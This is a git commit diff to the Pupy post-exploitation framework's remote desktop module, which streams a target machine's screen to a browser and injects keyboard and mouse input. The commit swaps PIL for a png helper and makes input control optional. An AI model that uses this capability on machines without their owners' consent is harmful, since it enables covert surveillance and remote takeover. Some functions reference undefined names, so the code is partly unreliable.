Remove pillow from deps

This commit is contained in:
Oleksii Shevchuk 2018-01-05 20:51:22 +02:00
parent 48179298d2
commit f0b1827f8f
2 changed files with 65 additions and 41 deletions

View File

@ -1,4 +1,4 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
@ -8,7 +8,6 @@ import subprocess
import time
import threading
import json
import pyautogui
__class_name__="RemoteDesktopModule"
@ -99,7 +98,6 @@ class RdesktopWebSocketHandler(WebSocketHandler):
if self.stop_events_thread:
self.stop_events_thread.set()
class IndexHandler(RequestHandler):
def initialize(self, client):
self.client = client
@ -112,25 +110,40 @@ class IndexHandler(RequestHandler):
class RemoteDesktopModule(PupyModule):
""" Start a remote desktop session using a browser websocket client """
dependencies = ['mss', 'rdesktop', 'keyboard', 'PIL']
dependencies = ['mss', 'rdesktop', 'keyboard', 'png']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="rdesktop", description=self.__doc__)
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open a browser tab on the handler url')
self.arg_parser.add_argument('-r', '--refresh-interval', default=0.02, type=float, help='refresh interval. Set to 0 for best reactivity')
self.arg_parser.add_argument('-q', '--quality', default=75, type=int, help='image quality best_quality=95 worst_quality=20')
#self.arg_parser.add_argument('text', help='text to print in the msgbox :)')
self.arg_parser.add_argument(
'-v', '--view', action='store_true',
help='directly open a browser tab on the handler url')
self.arg_parser.add_argument(
'-r', '--refresh-interval',
default=0.02, type=float,
help='refresh interval. Set to 0 for best reactivity')
self.arg_parser.add_argument(
'-q', '--quality', default=75, type=int,
help='image quality best_quality=95 worst_quality=20')
def run(self, args):
self.web_handlers=[
(r'/?', IndexHandler, {'client': self.client}),
(r'/ws', RdesktopWebSocketHandler, {'client': self.client, 'refresh_interval': args.refresh_interval, 'quality':args.quality, 'module': self}),
(r'/?', IndexHandler, {
'client': self.client
}),
(r'/ws', RdesktopWebSocketHandler, {
'client': self.client,
'refresh_interval': args.refresh_interval,
'quality':args.quality,
'module': self
}),
]
url=self.start_webplugin()
url = self.start_webplugin()
self.success("Web handler started on %s"%url)
if args.view:
config = self.client.pupsrv.config or PupyConfig()
viewer = config.get('default_viewers', 'browser')
subprocess.Popen([viewer, url])

View File

@ -1,12 +1,17 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
import mss
from PIL import Image
from io import BytesIO
import threading
import time
import keyboard
from keyboard import mouse
from png import bmp_to_png
try:
import keyboard
from keyboard import mouse
remote_control = True
except:
remote_control = False
def get_screen_size():
screenshoter = mss.mss()
@ -17,63 +22,69 @@ def get_screen_size():
width=monitor['width']
return width, height
class VideoStreamer(threading.Thread):
def __init__(self, callback, refresh_interval=0.1, quality=75):
threading.Thread.__init__(self)
self.stopped=threading.Event()
self.refresh_interval=refresh_interval
self.quality=quality
self.callback=callback
self.daemon=True
self.stopped = threading.Event()
self.refresh_interval = refresh_interval
self.quality = quality
self.callback = callback
self.daemon = True
def run(self):
screenshoter = mss.mss()
monitors = screenshoter.enum_display_monitors()
del monitors[0]
monitor=monitors[0]
height=monitor['height']
width=monitor['width']
monitor = monitors[0]
height = monitor['height']
width = monitor['width']
while not self.stopped.is_set():
try:
pixels=screenshoter.get_pixels(monitor)
img= Image.frombytes('RGB', (width, height), pixels)
bio=BytesIO()
img.save(bio, format="jpeg", quality=self.quality)
self.callback(bio.getvalue())
pixels = screenshoter.get_pixels(monitor)
self.callback(bmp_to_png(pixels, width, height))
time.sleep(self.refresh_interval)
except:
break
def move(self, x, y):
if not remote_control:
raise "Remote control is not available"
mouse.move(x, y)
def click(self, x=None, y=None):
if not remote_control:
raise "Remote control is not available"
if x is not None and y is not None:
self.move(x, y)
mouse.click()
def kbd_send(self, *args, **kwargs):
if not remote_control:
raise "Remote control is not available"
keyboard.send(*args, **kwargs)
def kbd_write(self, *args, **kwargs):
if not remote_control:
raise "Remote control is not available"
keyboard.write(*args, **kwargs)
def key_press(self, c):
if not remote_control:
raise "Remote control is not available"
keyboard.press(c)
def key_release(self, key):
keyboard.release(c)
if not remote_control:
raise "Remote control is not available"
keyboard.release(c)
def stop(self):
self.stopped.set()
if __name__=="__main__":
#vs=VideoStreamer(cb)
#vs.start()
d=get_screen_jpg()
with open("test.jpg", 'wb') as f:
f.write(d)